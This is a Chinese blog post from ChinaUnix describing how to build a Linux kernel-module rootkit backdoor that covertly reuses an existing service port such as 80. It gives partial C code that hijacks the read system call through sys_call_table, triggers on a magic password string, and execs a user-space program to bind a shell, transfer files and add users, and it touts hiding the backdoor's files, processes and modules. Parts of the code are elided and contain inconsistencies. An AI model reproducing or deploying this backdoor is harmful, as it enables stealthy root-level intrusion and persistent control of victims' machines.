Chinaunix首页 | 论坛 | 博客
  • 博客访问: 82928
  • 博文数量: 24
  • 博客积分: 375
  • 博客等级: 一等列兵
  • 技术积分: 225
  • 用 户 组: 普通用户
  • 注册时间: 2011-01-13 22:14
文章分类

全部博文(24)

文章存档

2014年(6)

2011年(18)

我的朋友

分类: LINUX

2011-08-23 14:45:22

我们首先需要知道什么是端口复用,它就是在系统已经开放的端口上进行通讯,并且不影响系统的正常工作和服务的正常运行。
端口复用的功能是在端口复用的基础上进行连接、获得SHELL、上下载文件、浏览目录、添加删除用户、改变用户口令等。端口复用只对输入的信息进行字符串匹配,不对网络数据进行任何拦截、复制类操作,所以网络数据的传输性能丝毫不受影响。建立连接后服务端程序占用极少系统资源,被控端不会在系统性能方面有任何察觉。

 

方法比较
端口复用实现的方法有很多,下面我们来做一下比较。
1)过滤驱动
对LINUX系统的网卡驱动进行过滤。这种技术涉及到可安装内核模块技术、网卡驱动原理和中断技术等,实现起来较为复杂,而且对内核版本要求较高,如果长期运行,还可能造成系统内核的不稳定。同时还也会涉及到拆包、组包过程,如果要对大文件进行传输或要保证客户—服务器双方的可靠通信,要付出很大代价。
2)过滤协议栈 
可以对TCP/IP协议栈进行过滤,而且LINUX系统也提供6个内核钩子,支持对内核的过滤。这样实现难度较小,造成系统不稳定的可能性比方案1要小的多。不过同样涉及到拆包、组包过程。
3)过滤系统调用
这种方法是典型的LKMS后门程序的实现原理,对用于网络通信的系统调用进行过滤。这种方法不用深入协议栈,实现起来简洁有效。
4)UNIX编程的其他技术
在用户空间调用访问协议栈的函数,如:BPF、SOCK-PACKET类型的套接口、LIBCAP抓包库、DLPI等,这样在应用层就可以实现对协议栈的过滤。这种技术不用深入内核,稳定性好。不过同样也大多也难逃重新组包之嫌。
5)运行期间感染技术
这种方法需要深人到已经运行服务程序的进程空间内部,如采用运行期间共享库注射库技术,通过共享其FILE结构,增加引用记数,来共享denteu、inode、sock、socket等结构。这种方法是应用层设计的,对内核版本要求不高,不过如果对80等非超级用户运行的进程所开的端口进行复用的话,所获得的权限也只是普通用户权限,不能满足普遍需求。同时也很难实现对任意端口进行复用。

实现过程
经过大量试验对比分析,发现通过过滤系统调用实现端口复用是比较切合实际的方案,和LKMS的其他技术相结合,效果更加理想。
下面我们通过过滤系统调用实现端口复用,对端口80的TCP连接进行复用为例,对程序进行说明。
1)深入内核,截获系统调用read(int fd, void *buf, size_t count)。
2)如果发现特征字符串(如“abcdefg”)就在内核启动我们的函数。
代码如下:
#define PORT 80
#define MAX_BUF 1024
ssize (*orig_read) (int fd, char *buf, size_t count);
ssize_t new_read(int fd, void *buf, size_t count)
{
ssize ret;
char passwd = ”abcdefg„;
char kbuf[MAX_BUF];
struct file *file;
……………….
ret = old_read(fd, buf, count);
bzero(kbuf, MAX_BUF);
__generic_copy_from_user(kbuf, buf, ret);
if( memcmp(kbuf, passwd, strlen(passwd)) == 0 )
{
file = fget(fd);
if(file->f_dentry->inode->sk.sport == PORT)
kernel_thread(exe_func, fd, flags);
fput(file);
}
………………….
return ret;
}
int init_module(void)
{
…………
orig_read = sys_call_table[SYS_read];
sys_call_table[SYS_read] = new_read;
…………
}
void cleanup_module(void)
{
………….
sys_call_table[SYS_read] = orig_read;
…………..
}
如前所述,kernel_thread()实际是调用clone,这样,如果调用参数flags为0,则表示复制(而不是指针共享)其内核结构,这些内核结构包括:mm_struct结构、files_struct结构、fs_struct结构、k_sigaction结构。当然我们最关心的是files_struct结构,其相应的标志位是CLONE_FILES。
由于我们要改变fs_struct结构中的两个位图:close_on_exec和 open_fds,为了不影响父进程的正常运行,需要把该位设置为0。
3)我们的内核函数exe_func()如下:
#define MAX_ARG 32
static int exe_func(int fd)
{
char arg[MAX_ARG];
bzero(arg, MAX_ARG);
my_itoa(fd, arg);
clr_fd( fd );
set_fs(KERNEL_DS);
ret = execve(my_program, arg, 0);
if(ret < 0)
return -1;
return 0;
}
函数my_itoa()的作用是将数字转换成相应的字符串。
函数clr_fd()的作用是对task_struct-> file-> close_on_exec中的相应位清0。
函数set_fs()的作用是将用户空间范围设置为0—4G。
这样,当我们调用execve()执行我们用户空间的程序my_program时,文件描述符fd对应的文件就不会被关闭。
函数clr_fd()的功能是对位图close_on_exec的相应位进行清0。
其代码如下:
#define FD_SET(fd,fdsetp) \
__asm__ __volatile__("btsl %1,%0": \
"=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))
#define FD_CLR(fd,fdsetp) \
__asm__ __volatile__("btrl %1,%0": \
"=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))
void clr_fd(fd)
{
struct file *file;
file = fget(fd);
FD_SET(fd, file->open_fds);
FD_CLR(fd, file->close_on_exec);
fput(file);
return;
}
4)我们的用户空间程序如下:
/* my_program */
#include
……
int main(int argc, char *argv[])
{
int fd = atoi(argv[1]);
…….
}
这样,在我们的用户空间就可以用端口80所对应的文件描述符fd进行通信了。即可以对用户输入的命令进行解释,又可以在80端口绑定shell,还可以利用80端口进行文件的上传、下载等。

总结
这种方法是内核和应用层相结合的一种端口复用方法,工作在TCP层上,由内核维护整个TCP连接。双方通信稳定可靠,同时还可以结合LKMS的隐藏机制,做到隐藏文件、目录、进程、端口以及安装的模块等,使被控主机很难发现被安装的后门。由于是基于内核做工作,所以可以复用系统的任意端口,并且具有超级用户权限。

 

来源:

阅读(1513) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~